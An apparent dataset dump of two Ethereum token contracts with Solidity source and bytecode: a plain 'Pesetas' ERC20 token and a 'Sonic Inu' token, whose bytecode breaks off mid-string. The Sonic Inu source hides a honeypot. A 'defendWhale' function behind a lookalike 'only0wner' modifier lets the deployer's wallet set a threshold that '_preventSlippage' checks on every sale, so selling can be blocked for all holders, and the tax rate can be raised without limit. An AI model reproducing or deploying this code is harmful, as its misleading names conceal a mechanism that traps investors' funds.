OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Pesetas is BurnableToken { string public constant name = "Pesetas"; string public constant symbol = "PTAS"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a14565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6b565b6040518082815260200191505060405180910390f35b6103b1610eb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f11565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e5565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611368565b005b6040518060400160405280600781526020017f506573657461730000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a655af3107a40000281565b60008111610a2157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6d57600080fd5b6000339050610ac482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c826001546114b790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ceb576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7f565b610cfe83826114b790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f505441530000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4c57600080fd5b610f9e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117682600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c357fe5b818303905092915050565b6000808284019050838110156114e057fe5b809150509291505056fea2646970667358221220a99a84829985aab4572b046c7763f2e1b799cc82ecb8267d029d4f53991934d664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,570
0xB556376ab4710D87f820D4761f8b6cDb02A1b5bC
// SPDX-License-Identifier: Apache-2.0 // Telegram: t.me/sonicinu pragma solidity ^0.8.7; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } } contract SonicInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "Sonic Inu"; string private constant _symbol = "SONICINU"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _load = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _preventSlippage(from,to); _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _load = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } modifier only0wner() { require(_taxWallet == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _preventSlippage(address from, address to) private{ if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require( _load>100000); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function defendWhale(uint256 g) external only0wner { _load = g; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061242b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fcb565b6103f6565b6040516101629190612410565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125ad565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f78565b61041e565b6040516101ca9190612410565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612622565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190612038565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190611ede565b6105e1565b60405161027291906125ad565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612342565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df919061242b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fcb565b6107ed565b60405161031c9190612410565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612038565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f38565b610e0b565b60405161039991906125ad565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600981526020017f536f6e696320496e750000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c2660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be9061250d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534f4e4943494e55000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061250d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061258d565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061250d565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906124ad565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190611f0b565b6040518363ffffffff1660e01b8152600401610b7b92919061235d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190611f0b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123af565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612065565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612386565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061200b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff